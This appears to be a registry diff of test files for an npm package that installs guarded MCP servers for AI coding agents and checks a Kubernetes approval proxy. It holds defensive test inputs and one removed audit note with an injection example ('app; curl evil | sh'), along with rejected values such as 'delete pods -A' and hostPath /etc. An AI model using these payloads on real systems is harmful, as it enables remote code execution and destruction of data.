@dzhechkov/cloudru-hub 0.1.12 → 0.1.14

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,5 +1,5 @@
1
1
  // Installer tests — ADR-005 tiering + ADR-004 brake emission with EXECUTED veto.
2
- import { test } from 'node:test';
2
+ import { after, test } from 'node:test';
3
3
  import assert from 'node:assert/strict';
4
4
  import fs from 'node:fs';
5
5
  import os from 'node:os';
@@ -7,10 +7,21 @@ import path from 'node:path';
7
7
  import { createRequire } from 'node:module';
8
8
 
9
9
  const require = createRequire(import.meta.url);
10
+ const YAML = require('yaml');
10
11
  const { install, mergeSettings, claudeSettingsFragment, probeBrake, HOOK_TEMPLATE, TIERS } = require('../src/install.js');
11
12
  const { permissionRules } = require('../src/classification.js');
13
+ const pinnedEngine = { path: '/verified/cloudru-vm', verified: true, sha256: require('../data/tools-classification.json').engineSha256 };
12
14
 
13
- const tmp = () => fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-hub-test-'));
15
+ // Every scratch dir is removed at the end (after() + process exit) unless DZ_KEEP_TMP=1 —
16
+ // MEASURED 2026-09-20: 42 cloudru-hub-test-* dirs per full sweep (backlog 7cb6f9b7).
17
+ const created = [];
18
+ const removeCreated = () => {
19
+ if (process.env.DZ_KEEP_TMP === '1') return;
20
+ for (const d of created.splice(0)) fs.rmSync(d, { recursive: true, force: true });
21
+ };
22
+ after(removeCreated);
23
+ process.on('exit', removeCreated);
24
+ const tmp = () => { const d = fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-hub-test-')); created.push(d); return d; };
14
25
 
15
26
  test('claude-code install emits .mcp.json + permission brake + hook, and the veto is EXECUTED', () => {
16
27
  const dir = tmp();
@@ -80,7 +91,7 @@ test('install is idempotent — second run does not duplicate rules or hooks', (
80
91
  });
81
92
 
82
93
  test('DEGRADED targets are refused with the ADR-005 reason — never a fake install', () => {
83
- for (const target of ['openclaude', 'opencode', 'cursor', 'windsurf', 'copilot']) {
94
+ for (const target of ['openclaude', 'cursor', 'windsurf', 'copilot']) {
84
95
  const dir = tmp();
85
96
  const res = install(target, dir);
86
97
  assert.equal(res.code, 2, target);
@@ -104,22 +115,235 @@ test('POINTER-ONLY targets get the ≤2048-char pointer with the mandatory no-ve
104
115
  }
105
116
  });
106
117
 
107
- test('codex is plan-only: prints the user-global steps + mandatory live probe, applies nothing', () => {
118
+ test('codex installs a project-scoped safe server and preserves unrelated TOML', () => {
108
119
  const dir = tmp();
120
+ fs.mkdirSync(path.join(dir, '.codex'));
121
+ fs.writeFileSync(path.join(dir, '.codex', 'config.toml'), 'model = "other"\n');
109
122
  const res = install('codex', dir);
110
- assert.equal(res.code, 3);
111
- const out = res.lines.join('\n');
112
- assert.ok(out.includes('codex mcp add'));
113
- assert.ok(out.includes('~/.codex/hooks.json'));
114
- assert.ok(out.includes('MANDATORY probe'));
115
- assert.equal(fs.readdirSync(dir).length, 0, 'nothing written');
123
+ assert.equal(res.code, 0, res.lines.join('\n'));
124
+ const out = fs.readFileSync(path.join(dir, '.codex', 'config.toml'), 'utf8');
125
+ assert.match(out, /model = "other"/);
126
+ assert.match(out, /\[mcp_servers\.cloudru_hub\]/);
127
+ assert.match(out, /mcp-safe/);
128
+ assert.match(out, /enabled_tools = .*"vm_list"/);
129
+ assert.match(out, /--toolsets","inventory"/);
130
+ assert.doesNotMatch(out, /"deploy"/);
131
+ assert.match(out, /default_tools_approval_mode = "prompt"/);
132
+ assert.equal(install('codex', dir).code, 0, 'same install is idempotent');
133
+ });
134
+
135
+ test('OpenCode and Pi install a safe MCP server without replacing unrelated JSON', () => {
136
+ for (const target of ['opencode', 'pi']) {
137
+ const dir = tmp();
138
+ const file = path.join(dir, target === 'pi' ? '.pi/mcp.json' : 'opencode.json');
139
+ fs.mkdirSync(path.dirname(file), { recursive: true });
140
+ fs.writeFileSync(file, JSON.stringify(target === 'pi' ? { mcpServers: { other: { command: 'test' } }, theme: 'x' } : { mcp: { other: { type: 'remote', url: 'https://example.com/mcp' } }, theme: 'x' }));
141
+ assert.equal(install(target, dir).code, 0);
142
+ const data = JSON.parse(fs.readFileSync(file, 'utf8'));
143
+ const servers = target === 'pi' ? data.mcpServers : data.mcp;
144
+ assert.ok(servers.other);
145
+ assert.equal(data.theme, 'x');
146
+ assert.match(JSON.stringify(servers.cloudru_hub), /mcp-safe/);
147
+ assert.equal(install(target, dir).code, 0);
148
+ }
149
+ });
150
+
151
+ test('installers refuse a competing raw Cloud.ru server', () => {
152
+ for (const target of ['codex', 'opencode', 'pi']) {
153
+ const dir = tmp();
154
+ if (target === 'codex') {
155
+ fs.mkdirSync(path.join(dir, '.codex'));
156
+ fs.writeFileSync(path.join(dir, '.codex/config.toml'), '[mcp_servers.cloudru-vm]\ncommand = "raw"\n');
157
+ } else {
158
+ const file = path.join(dir, target === 'pi' ? '.pi/mcp.json' : 'opencode.json');
159
+ fs.mkdirSync(path.dirname(file), { recursive: true });
160
+ fs.writeFileSync(file, JSON.stringify(target === 'pi' ? { mcpServers: { 'cloudru-vm': {} } } : { mcp: { 'cloudru-vm': {} } }));
161
+ }
162
+ assert.equal(install(target, dir).code, 2, target);
163
+ }
164
+ });
165
+
166
+ test('Codex refuses quoted and inline TOML MCP declarations before changing the file', () => {
167
+ const variants = [
168
+ '[mcp_servers."cloudru-vm"]\ncommand = "raw"\n',
169
+ '[mcp_servers."cloudru_hub"]\ncommand = "raw"\n',
170
+ 'mcp_servers = { cloudru_hub = { command = "raw" } }\n',
171
+ '["\\u006dcp_servers"."cloudru-vm"]\ncommand = "raw"\n',
172
+ ];
173
+ for (const source of variants) {
174
+ const dir = tmp();
175
+ const file = path.join(dir, '.codex/config.toml');
176
+ fs.mkdirSync(path.dirname(file));
177
+ fs.writeFileSync(file, source);
178
+ const res = install('codex', dir);
179
+ assert.equal(res.code, 2, source);
180
+ assert.equal(fs.readFileSync(file, 'utf8'), source);
181
+ }
182
+ });
183
+
184
+ test('Hermes installs a guarded nonempty include list without changing unrelated YAML', () => {
185
+ const dir = tmp();
186
+ const file = path.join(dir, 'config.yaml');
187
+ const source = 'plugins:\n enabled: true\nmcp_servers:\n github:\n command: "other"\nagent:\n model: "test"\n';
188
+ fs.writeFileSync(file, source);
189
+ const res = install('hermes', dir, { hermesHome: dir, resolvedEngine: pinnedEngine });
190
+ assert.equal(res.code, 0, res.lines.join('\n'));
191
+ const out = fs.readFileSync(file, 'utf8');
192
+ assert.deepEqual(Object.keys(YAML.parse(out).mcp_servers).sort(), ['cloudru_hub', 'github']);
193
+ assert.match(out, /mcp-safe/);
194
+ assert.match(out, /vm_list/);
195
+ assert.match(out, /--toolsets/);
196
+ assert.match(out, /include: \[/);
197
+ assert.equal(YAML.parse(out).mcp_servers.cloudru_hub.env.CLOUDRU_VM_BIN, pinnedEngine.path);
198
+ assert.doesNotMatch(out, /"deploy"/);
199
+ assert.match(out, /plugins:\n enabled: true/);
200
+ assert.match(out, / github:\n command: "other"/);
201
+ assert.match(out, /agent:\n model: "test"/);
202
+ assert.equal(install('hermes', dir, { hermesHome: dir, resolvedEngine: pinnedEngine }).code, 0);
203
+ assert.equal(fs.readFileSync(file, 'utf8'), out, 'second install is idempotent');
204
+ });
205
+
206
+ test('Hermes keeps valid comments and refuses a flow-root document', () => {
207
+ const commented = tmp();
208
+ const file = path.join(commented, 'config.yaml');
209
+ fs.writeFileSync(file, 'mcp_servers:\n other:\n command: harmless\n # explanatory comment\n');
210
+ assert.equal(install('hermes', commented, { hermesHome: commented, resolvedEngine: pinnedEngine }).code, 0);
211
+ assert.equal(YAML.parse(fs.readFileSync(file, 'utf8')).mcp_servers.other.command, 'harmless');
212
+ assert.equal(YAML.parse(fs.readFileSync(file, 'utf8')).mcp_servers.cloudru_hub.tools.include.length, 11);
213
+
214
+ const flow = tmp();
215
+ const flowFile = path.join(flow, 'config.yaml');
216
+ fs.writeFileSync(flowFile, '{ model: harmless }\n');
217
+ assert.equal(install('hermes', flow, { hermesHome: flow }).code, 2);
218
+ assert.equal(fs.readFileSync(flowFile, 'utf8'), '{ model: harmless }\n');
219
+ });
220
+
221
+ test('Hermes refuses missing or hash-mismatched engine without writing config', () => {
222
+ for (const resolvedEngine of [
223
+ { error: 'engine absent' },
224
+ { ...pinnedEngine, sha256: '0'.repeat(64) },
225
+ { ...pinnedEngine, verified: false },
226
+ ]) {
227
+ const dir = tmp();
228
+ const file = path.join(dir, 'config.yaml');
229
+ fs.writeFileSync(file, 'agent:\n model: test\n');
230
+ const res = install('hermes', dir, { hermesHome: dir, resolvedEngine });
231
+ assert.equal(res.code, 2);
232
+ assert.equal(fs.readFileSync(file, 'utf8'), 'agent:\n model: test\n');
233
+ }
234
+ });
235
+
236
+ test('Hermes refuses raw Cloud.ru entries and complex YAML without writing', () => {
237
+ for (const source of [
238
+ 'mcp_servers:\n cloudru-vm:\n command: raw\n',
239
+ 'mcp_servers: {cloudru_hub: {command: raw}}\n',
240
+ 'mcp_servers: &servers\n github: {}\n',
241
+ 'mcp_servers:\n other:\n command: harmless\n# comment\n cloudru-vm:\n command: raw\n',
242
+ 'mcp_servers:\n other:\n command: harmless\n"mcp_servers":\n cloudru-vm:\n command: raw\n',
243
+ ]) {
244
+ const dir = tmp();
245
+ const file = path.join(dir, 'config.yaml');
246
+ fs.writeFileSync(file, source);
247
+ assert.equal(install('hermes', dir, { hermesHome: dir }).code, 2, source);
248
+ assert.equal(fs.readFileSync(file, 'utf8'), source);
249
+ }
250
+ });
251
+
252
+ test('toolset selection validates before install and limits Codex enabled_tools', () => {
253
+ const dir = tmp();
254
+ const invalid = install('codex', dir, { toolsets: 'inventory,all' });
255
+ assert.equal(invalid.code, 1);
256
+ assert.deepEqual(fs.readdirSync(dir), []);
257
+ const ok = install('codex', dir, { toolsets: 'billing' });
258
+ assert.equal(ok.code, 0);
259
+ const config = fs.readFileSync(path.join(dir, '.codex/config.toml'), 'utf8');
260
+ assert.match(config, /billing_balance/);
261
+ assert.doesNotMatch(config, /vm_list/);
262
+ assert.match(config, /CLOUDRU_HUB_CREDENTIALS/);
263
+ assert.match(config, /CLOUDRU_AGREEMENT_ID/);
264
+ assert.match(config, /CLOUDRU_KEY_ID/);
265
+ });
266
+
267
+ test('vm-deploy installs guarded tools and long-call timeouts for Codex, Hermes, OpenCode and Pi', () => {
268
+ const codexDir = tmp();
269
+ assert.equal(install('codex', codexDir, { toolsets: 'vm-deploy' }).code, 0);
270
+ const config = fs.readFileSync(path.join(codexDir, '.codex/config.toml'), 'utf8');
271
+ for (const name of ['deploy_plan', 'deploy_apply', 'vm_exec']) assert.match(config, new RegExp(`"${name}"`));
272
+ for (const name of ['destroy', 'secret_value', 'stack_apply']) assert.doesNotMatch(config, new RegExp(`"${name}"`));
273
+ assert.match(config, /--toolsets","vm-deploy"/);
274
+ assert.match(config, /tool_timeout_sec = 1200/);
275
+ assert.match(config, /env_vars = \["CLOUDRU_VM_BIN","CLOUDRU_HUB_CREDENTIALS","CLOUDRU_VM_HOME","CLOUDRU_HUB_APPROVALS"\]/);
276
+ assert.match(config, /default_tools_approval_mode = "auto"/);
277
+
278
+ const hermesDir = tmp();
279
+ assert.equal(install('hermes', hermesDir, { hermesHome: hermesDir, toolsets: 'vm-deploy', resolvedEngine: pinnedEngine }).code, 0);
280
+ const yaml = YAML.parse(fs.readFileSync(path.join(hermesDir, 'config.yaml'), 'utf8'));
281
+ assert.ok(yaml.mcp_servers.cloudru_hub.tools.include.includes('deploy_apply'));
282
+ assert.ok(!yaml.mcp_servers.cloudru_hub.tools.include.includes('destroy'));
283
+ assert.equal(yaml.mcp_servers.cloudru_hub.timeout, 1200);
284
+
285
+ const opencodeDir = tmp();
286
+ assert.equal(install('opencode', opencodeDir, { toolsets: 'vm-deploy' }).code, 0);
287
+ const opencode = JSON.parse(fs.readFileSync(path.join(opencodeDir, 'opencode.json'), 'utf8'));
288
+ assert.equal(opencode.mcp.cloudru_hub.timeout, 1_200_000, 'OpenCode uses milliseconds');
289
+ assert.equal(install('opencode', opencodeDir, { toolsets: 'vm-deploy' }).code, 0);
290
+
291
+ const piDir = tmp();
292
+ assert.equal(install('pi', piDir, { toolsets: 'vm-deploy' }).code, 0);
293
+ const pi = JSON.parse(fs.readFileSync(path.join(piDir, '.pi/mcp.json'), 'utf8'));
294
+ assert.equal(pi.mcpServers.cloudru_hub.timeout, 1200, 'Pi uses seconds');
295
+ assert.equal(install('pi', piDir, { toolsets: 'vm-deploy' }).code, 0);
296
+ });
297
+
298
+ test('k8s-deploy installs the bounded profile across five hosts and refuses a raw Claude server', () => {
299
+ const codexDir = tmp();
300
+ assert.equal(install('codex', codexDir, { toolsets: 'k8s-deploy' }).code, 0);
301
+ const codex = fs.readFileSync(path.join(codexDir, '.codex/config.toml'), 'utf8');
302
+ assert.match(codex, /k8s-deploy/);
303
+ assert.match(codex, /tool_timeout_sec = 1200/);
304
+ assert.doesNotMatch(codex, /k8s_create/);
305
+
306
+ const hermesDir = tmp();
307
+ assert.equal(install('hermes', hermesDir, { toolsets: 'k8s-deploy', hermesHome: hermesDir, resolvedEngine: pinnedEngine }).code, 0);
308
+ const hermes = YAML.parse(fs.readFileSync(path.join(hermesDir, 'config.yaml'), 'utf8'));
309
+ assert.deepEqual(hermes.mcp_servers.cloudru_hub.tools.include, ['k8s_apply', 'k8s_get', 'k8s_kubectl', 'k8s_list', 'k8s_nodepools', 'k8s_options']);
310
+ assert.equal(hermes.mcp_servers.cloudru_hub.timeout, 1200);
311
+
312
+ const opencodeDir = tmp();
313
+ assert.equal(install('opencode', opencodeDir, { toolsets: 'k8s-deploy' }).code, 0);
314
+ assert.equal(JSON.parse(fs.readFileSync(path.join(opencodeDir, 'opencode.json'), 'utf8')).mcp.cloudru_hub.timeout, 1_200_000);
315
+
316
+ const piDir = tmp();
317
+ assert.equal(install('pi', piDir, { toolsets: 'k8s-deploy' }).code, 0);
318
+ assert.equal(JSON.parse(fs.readFileSync(path.join(piDir, '.pi/mcp.json'), 'utf8')).mcpServers.cloudru_hub.timeout, 1200);
319
+
320
+ const claudeDir = tmp();
321
+ assert.equal(install('claude-code', claudeDir, { toolsets: 'k8s-deploy' }).code, 0);
322
+ const mcp = JSON.parse(fs.readFileSync(path.join(claudeDir, '.mcp.json'), 'utf8'));
323
+ assert.ok(mcp.mcpServers.cloudru_hub.args.includes('k8s-deploy'));
324
+ assert.equal(mcp.mcpServers['cloudru-vm'], undefined);
325
+ assert.deepEqual(JSON.parse(fs.readFileSync(path.join(claudeDir, '.claude/settings.json'), 'utf8')).enabledMcpjsonServers, ['cloudru_hub']);
326
+ assert.equal(install('claude-code', claudeDir, { toolsets: 'k8s-deploy' }).code, 0);
327
+ assert.equal(install('claude-code', claudeDir, { toolsets: 'k8s-deploy', npx: true }).code, 2);
328
+ const rawDir = tmp();
329
+ fs.writeFileSync(path.join(rawDir, '.mcp.json'), JSON.stringify({ mcpServers: { 'cloudru-vm': { command: 'unsafe' } } }));
330
+ assert.equal(install('claude-code', rawDir, { toolsets: 'k8s-deploy' }).code, 2);
331
+ const invalidMcp = tmp();
332
+ fs.writeFileSync(path.join(invalidMcp, '.mcp.json'), '[]\n');
333
+ assert.equal(install('claude-code', invalidMcp, { toolsets: 'k8s-deploy' }).code, 2);
334
+ assert.equal(fs.readFileSync(path.join(invalidMcp, '.mcp.json'), 'utf8'), '[]\n');
335
+ const invalidSettings = tmp();
336
+ fs.mkdirSync(path.join(invalidSettings, '.claude'));
337
+ fs.writeFileSync(path.join(invalidSettings, '.claude/settings.json'), '[]\n');
338
+ assert.equal(install('claude-code', invalidSettings, { toolsets: 'k8s-deploy' }).code, 2);
339
+ assert.equal(fs.readFileSync(path.join(invalidSettings, '.claude/settings.json'), 'utf8'), '[]\n');
116
340
  });
117
341
 
118
342
  test('unknown target is an error listing the known ones', () => {
119
343
  const res = install('emacs', tmp());
120
344
  assert.equal(res.code, 1);
121
345
  assert.ok(res.lines[0].includes('unknown target'));
122
- assert.equal(Object.keys(TIERS).length, 9);
346
+ assert.equal(Object.keys(TIERS).length, 11);
123
347
  });
124
348
 
125
349
  test('probeBrake discriminates: a hook that stops vetoing FAILS the probe (broken-brake control)', () => {
@@ -0,0 +1,125 @@
1
+ import { after, test } from 'node:test';
2
+ import assert from 'node:assert/strict';
3
+ import fs from 'node:fs';
4
+ import os from 'node:os';
5
+ import path from 'node:path';
6
+ import { spawnSync } from 'node:child_process';
7
+ import { createRequire } from 'node:module';
8
+
9
+ const require = createRequire(import.meta.url);
10
+ const YAML = require('yaml');
11
+ const cls = require('../data/tools-classification.json');
12
+ const { selectedToolNames } = require('../src/toolsets.js');
13
+ const { PILOT_IMAGE, validateManifest, issueK8sApproval, consumeK8sApproval, k8sSession } = require('../src/k8s-approval.js');
14
+ const scratch = fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-k8s-approval-'));
15
+ after(() => fs.rmSync(scratch, { recursive: true, force: true }));
16
+ const clusterId = '11111111-2222-4333-8444-555555555555';
17
+ const projectId = 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee';
18
+ const credentials = path.join(scratch, 'credentials.json');
19
+ fs.writeFileSync(credentials, JSON.stringify({ key_id: 'test-only', secret: 'test-only', project_id: projectId }), { mode: 0o600 });
20
+ const env = { ...process.env, CLOUDRU_HUB_CREDENTIALS: credentials, CLOUDRU_HUB_APPROVALS: path.join(scratch, 'approvals') };
21
+
22
+ function docs() {
23
+ const metadata = (name) => ({ name, namespace: 'snake-pilot' });
24
+ const app = 'snake-game';
25
+ return [
26
+ { apiVersion: 'v1', kind: 'ConfigMap', metadata: metadata('snake-game-html'), data: { 'index.html': '<!doctype html><title>Snake</title>' } },
27
+ { apiVersion: 'apps/v1', kind: 'Deployment', metadata: metadata(app), spec: {
28
+ replicas: 1, selector: { matchLabels: { app } }, template: { metadata: { labels: { app } }, spec: {
29
+ automountServiceAccountToken: false, securityContext: { runAsNonRoot: true },
30
+ containers: [{ name: app, image: PILOT_IMAGE, command: ['httpd'], args: ['-f', '-p', '8080', '-h', '/www'],
31
+ ports: [{ containerPort: 8080 }], readinessProbe: { httpGet: { path: '/', port: 8080 } },
32
+ resources: { requests: { cpu: '50m', memory: '32Mi' }, limits: { cpu: '100m', memory: '64Mi' } },
33
+ securityContext: { allowPrivilegeEscalation: false, readOnlyRootFilesystem: true, runAsUser: 10001, runAsGroup: 10001, capabilities: { drop: ['ALL'] } },
34
+ volumeMounts: [{ name: 'html', mountPath: '/www', readOnly: true }] }],
35
+ volumes: [{ name: 'html', configMap: { name: 'snake-game-html' } }],
36
+ } } } },
37
+ { apiVersion: 'v1', kind: 'Service', metadata: metadata(app), spec: { type: 'ClusterIP', selector: { app }, ports: [{ port: 80, targetPort: 8080 }] } },
38
+ ];
39
+ }
40
+ const serialize = (resources) => resources.map((r) => YAML.stringify(r)).join('---\n');
41
+ const manifest = serialize(docs());
42
+ const digest = require('crypto').createHash('sha256').update(manifest).digest('hex');
43
+ const manifestFile = path.join(scratch, 'snake.yaml');
44
+ fs.writeFileSync(manifestFile, manifest);
45
+
46
+ test('bounded Kubernetes manifest accepts exactly the reviewed pod-native resources', () => {
47
+ assert.deepEqual(validateManifest(manifest, 'snake-pilot').resources.map((r) => r.kind), ['ConfigMap', 'Deployment', 'Service']);
48
+ assert.deepEqual(selectedToolNames('k8s-deploy'), ['k8s_apply', 'k8s_get', 'k8s_kubectl', 'k8s_list', 'k8s_nodepools', 'k8s_options']);
49
+ for (const name of selectedToolNames('k8s-deploy')) {
50
+ assert.equal(cls.tools[name].permission, ['k8s_apply', 'k8s_kubectl'].includes(name) ? 'ask' : 'allow');
51
+ }
52
+ });
53
+
54
+ test('unexpected mutators, exposure, privilege, image and namespace are rejected', () => {
55
+ const mutations = [
56
+ (r) => { r[1].spec.template.spec.volumes.push({ name: 'host', hostPath: { path: '/etc' } }); },
57
+ (r) => { r[1].spec.template.spec.containers[0].securityContext.privileged = true; },
58
+ (r) => { r[1].spec.template.spec.containers[0].command = ['sh']; },
59
+ (r) => { r[1].spec.template.spec.containers[0].image = 'docker.io/library/busybox@sha256:' + 'f'.repeat(64); },
60
+ (r) => { r[2].spec.type = 'LoadBalancer'; },
61
+ (r) => { r[0].metadata.namespace = 'default'; },
62
+ (r) => { r.push({ apiVersion: 'v1', kind: 'Secret', metadata: { name: 's', namespace: 'snake-pilot' } }); },
63
+ ];
64
+ for (const mutate of mutations) {
65
+ const r = docs(); mutate(r);
66
+ assert.throws(() => validateManifest(serialize(r), 'snake-pilot'));
67
+ }
68
+ });
69
+
70
+ test('digest, project, expiry and single-use approval bind the exact manifest', () => {
71
+ assert.throws(() => issueK8sApproval(clusterId, 'snake-pilot', manifestFile, '0'.repeat(64), env), /digest differs/);
72
+ const a = issueK8sApproval(clusterId, 'snake-pilot', manifestFile, digest, env, 1000);
73
+ assert.equal(a.manifestSha256, digest);
74
+ const used = consumeK8sApproval(a.approvalId, env, 1100);
75
+ assert.equal(used.manifest, manifest);
76
+ assert.equal(k8sSession(a.approvalId, env, 1200).namespace, 'snake-pilot');
77
+ assert.throws(() => consumeK8sApproval(a.approvalId, env, 1200));
78
+ const b = issueK8sApproval(clusterId, 'snake-pilot', manifestFile, digest, env, 2000);
79
+ const otherCredentials = path.join(scratch, 'other.json');
80
+ fs.writeFileSync(otherCredentials, JSON.stringify({ key_id: 'test-other', secret: 'test-other', project_id: 'ffffffff-eeee-4ddd-8ccc-bbbbbbbbbbbb' }), { mode: 0o600 });
81
+ assert.throws(() => consumeK8sApproval(b.approvalId, { ...env, CLOUDRU_HUB_CREDENTIALS: otherCredentials }, 2100), /does not match/);
82
+ assert.throws(() => consumeK8sApproval(b.approvalId, env, 2000 + 10 * 60_000));
83
+ });
84
+
85
+ test('MCP proxy forwards only locally approved apply and four fixed verification queries', () => {
86
+ const a = issueK8sApproval(clusterId, 'snake-pilot', manifestFile, digest, env);
87
+ const engine = path.join(scratch, 'fake-engine');
88
+ const log = path.join(scratch, 'forwarded.jsonl');
89
+ fs.writeFileSync(engine, `#!/usr/bin/env node
90
+ const fs=require('fs');let b='';process.stdin.setEncoding('utf8');process.stdin.on('data',x=>{b+=x;let i;while((i=b.indexOf('\\n'))>=0){const line=b.slice(0,i);b=b.slice(i+1);if(!line)continue;const m=JSON.parse(line);fs.appendFileSync(process.env.FAKE_LOG,JSON.stringify(m)+'\\n');if(!Object.hasOwn(m,'id'))continue;let result={};if(m.method==='tools/list')result={tools:[{name:'k8s_apply'},{name:'k8s_kubectl'},{name:'k8s_create'}]};else result={content:[{type:'text',text:'{"status":"applied"}'}]};process.stdout.write(JSON.stringify({jsonrpc:'2.0',id:m.id,result})+'\\n');}});
91
+ `);
92
+ fs.chmodSync(engine, 0o755);
93
+ const script = `const {runSafeMcp}=require(${JSON.stringify(path.resolve(import.meta.dirname, '../src/safe-mcp.js'))});runSafeMcp({toolsets:'k8s-deploy',resolved:{path:${JSON.stringify(engine)},verified:true,sha256:${JSON.stringify(cls.engineSha256)}}});`;
94
+ const msg = (id, name, args) => JSON.stringify({ jsonrpc: '2.0', id, method: 'tools/call', params: { name, arguments: args } });
95
+ const lines = [
96
+ JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'tools/list' }),
97
+ msg(2, 'k8s_apply', { approval_id: a.approvalId, cluster_id: 'wrong', confirmed: true }),
98
+ msg(3, 'k8s_apply', { approval_id: a.approvalId }),
99
+ msg(4, 'k8s_apply', { approval_id: a.approvalId }),
100
+ msg(5, 'k8s_kubectl', { approval_id: a.approvalId, query: 'delete' }),
101
+ msg(6, 'k8s_kubectl', { approval_id: a.approvalId, query: 'pods', args: 'delete pods -A' }),
102
+ msg(7, 'k8s_kubectl', { approval_id: a.approvalId, query: 'pods' }),
103
+ msg(8, 'k8s_kubectl', { approval_id: a.approvalId, query: 'deployment' }),
104
+ msg(9, 'k8s_kubectl', { approval_id: a.approvalId, query: 'service' }),
105
+ msg(10, 'k8s_kubectl', { approval_id: a.approvalId, query: 'rollout' }),
106
+ msg(11, 'k8s_create', { confirmed: true }),
107
+ msg(12, 'k8s_apply', { approval_id: a.approvalId, create_only: false }),
108
+ ];
109
+ fs.writeFileSync(log, '');
110
+ const r = spawnSync(process.execPath, ['-e', script], { input: lines.join('\n') + '\n', encoding: 'utf8', timeout: 5000,
111
+ env: { ...env, FAKE_LOG: log } });
112
+ assert.equal(r.status, 0, r.stderr);
113
+ const responses = r.stdout.trim().split('\n').map(JSON.parse);
114
+ const byId = Object.fromEntries(responses.map((x) => [x.id, x]));
115
+ assert.deepEqual(byId[1].result.tools.map((x) => x.name), ['k8s_apply', 'k8s_kubectl']);
116
+ assert.deepEqual(Object.keys(byId[1].result.tools[0].inputSchema.properties), ['approval_id']);
117
+ for (const id of [2, 4, 5, 6, 11, 12]) assert.ok(byId[id].error, `request ${id} rejected`);
118
+ const forwarded = fs.readFileSync(log, 'utf8').trim().split('\n').map(JSON.parse).filter((x) => x.method === 'tools/call');
119
+ assert.deepEqual(forwarded.map((x) => x.params.name), ['k8s_apply', 'k8s_kubectl', 'k8s_kubectl', 'k8s_kubectl', 'k8s_kubectl']);
120
+ assert.deepEqual(forwarded[0].params.arguments, { cluster_id: clusterId, namespace: 'snake-pilot', manifest, create_only: true, confirmed: true });
121
+ assert.deepEqual(forwarded[1].params.arguments, { cluster_id: clusterId, args: '-n snake-pilot get pods -l app=snake-game -o json' });
122
+ assert.deepEqual(forwarded[2].params.arguments, { cluster_id: clusterId, args: '-n snake-pilot get deployment snake-game -o json' });
123
+ assert.deepEqual(forwarded[3].params.arguments, { cluster_id: clusterId, args: '-n snake-pilot get service snake-game -o json' });
124
+ assert.deepEqual(forwarded[4].params.arguments, { cluster_id: clusterId, args: '-n snake-pilot rollout status deployment/snake-game --timeout=90s' });
125
+ });
@@ -74,18 +74,18 @@
74
74
  "minFailing": 1
75
75
  },
76
76
  {
77
- "id": "brake-stack-status-stays-ask",
78
- "property": "stack_status ADVANCES a planned/running stack job server-side (handleStackStatus tools_stack.go:451 → advance :479-484 → s.callTool :220 invokes provision/pg_create/… — LIVE-REPRODUCED: one call moved a planned job planned→running and attempted provision, stopped only at AUTH_REQUIRED). Flipping it back to allow re-opens the zero-prompt paid chain stack_plan→stack_status and must go red (ADR-004 AM-1, cross-model QE HIGH).",
77
+ "id": "stack-status-remains-observational",
78
+ "property": "After the engine fix, stack_status reads persisted job state without advancing steps; stack_apply remains the explicitly gated mutation. Reclassifying status as ask loses the read-only contract and must fail the golden test.",
79
79
  "file": "data/tools-classification.json",
80
80
  "mutation": {
81
- "find": "\"stack_status\": {\n \"effect\": \"mutating\",\n \"permission\": \"ask\",",
82
- "replace": "\"stack_status\": {\n \"effect\": \"mutating\",\n \"permission\": \"allow\","
81
+ "find": "\"stack_status\": {\n \"effect\": \"read-only\",\n \"permission\": \"allow\",",
82
+ "replace": "\"stack_status\": {\n \"effect\": \"read-only\",\n \"permission\": \"ask\","
83
83
  },
84
- "minFailing": 2
84
+ "minFailing": 1
85
85
  },
86
86
  {
87
87
  "id": "brake-logs-stays-ask",
88
- "property": "logs concatenates its user-controlled `service` arg RAW into a remote `docker compose logs <service>` executed over SSH (handleLogs tools.go:1758 → engine/logs.go:61 `cmd += \" \" + opts.Service` → Deployer.Exec logs.go:64 → session.CombinedOutput internal/deploy/ssh.go:117), so service=\"app; curl evil | sh\" is arbitrary RCE on the user's VM. Flipping it back to allow puts a zero-prompt command-injection path behind a SILENT allow and must go red (ADR-004 AM-2, shell-reach hazard axis, cross-model QE HIGH).",
88
+ "property": "The pinned engine quotes logs.service before remote execution, but logs still reaches SSH/compose and can disclose sensitive output. Flipping its classification from ask to allow violates the reviewed shell-reach boundary.",
89
89
  "file": "data/tools-classification.json",
90
90
  "mutation": {
91
91
  "find": "\"logs\": {\n \"effect\": \"shell-reach\",\n \"permission\": \"ask\",",
@@ -1,14 +1,12 @@
1
- // The iron guardrails as layer-1 tests (feature hermes-claude-adaptation) — POST-GRANT state.
2
- // ADR-001 AM-2 (2026-08-12): the Hermes author's publication approval is recorded
3
- // (features/hermes-claude-adaptation/03_adr/grant-record-2026-08-12.md), the hold is
4
- // SATISFIED. The hold-era protections (private:true, PENDING placeholder, EPRIVATE probe)
1
+ // The iron guardrails as layer-1 tests (feature hermes-claude-adaptation).
2
+ // ADR-001 AM-3 (2026-10-20) corrects the historical engine attribution.
3
+ // The hold-era protections (private:true, PENDING placeholder, EPRIVATE probe)
5
4
  // retired; what must now hold forever:
6
- // 1. LICENSE carries the recorded grant (Grant-Confirmation URL), honest attribution,
7
- // and NO fabricated grant wording on the author's behalf.
5
+ // 1. LICENSE links the corrected provenance record, credits API validation,
6
+ // and does not assign Go source authorship to the API tester.
8
7
  // 2. The `licenseHold` trigger field STAYS so the dz guard `licence-hold` rule keeps
9
8
  // verifying LICENSE/NOTICES/SPDX on every publish (a satisfied hold passes with it).
10
- // 3. package.json.license matches the SPDX id of the actual LICENSE text (ADR-001
11
- // Confirmation), and covers ONLY the owner's code.
9
+ // 3. package.json.license matches the SPDX id of the actual LICENSE text.
12
10
  // 4. ZERO upstream engine bytes in the tarball — unchanged.
13
11
  // Discrimination: test/mutation-registry.json flips each protection and requires red here.
14
12
  import { test } from 'node:test';
@@ -24,22 +22,22 @@ const license = fs.readFileSync(path.join(pkgDir, 'LICENSE'), 'utf8');
24
22
 
25
23
  const PENDING_MARKER = '<!-- PENDING:';
26
24
 
27
- test('LICENSE is post-grant and honest: no PENDING placeholder, grant recorded with a confirmation link, no fabricated grant wording', () => {
25
+ test('LICENSE preserves MIT text and links the corrected provenance record', () => {
28
26
  assert.ok(license.length > 400);
29
27
